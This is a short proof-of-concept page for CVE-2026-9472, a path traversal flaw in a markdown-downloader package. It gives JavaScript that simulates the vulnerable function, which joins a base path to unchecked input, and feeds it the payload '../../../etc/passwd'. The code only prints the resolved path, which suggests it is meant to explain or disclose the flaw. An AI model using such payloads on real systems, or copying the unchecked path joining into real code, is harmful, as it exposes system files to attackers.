CVE-2026-9472 markdown-downloader路径遍历漏洞

// PoC for CVE-2026-9472: Path Traversal in markdown-downloader // The vulnerability allows reading files outside the intended directory via '../' // Simulating the vulnerable function in src/index.ts function download_markdown(user_input) { const basePath = '/home/user/downloads/'; // Vulnerability: No validation of user_input const fullPath = basePath + user_input; console.log("Accessing file:", fullPath); return fullPath; } // Attack Payload const malicious_payload = '../../../etc/passwd'; // Execution console.log("Exploiting CVE-2026-9472..."); const result = download_markdown(malicious_payload); // Result: /home/user/downloads/../../../etc/passwd -> /etc/passwd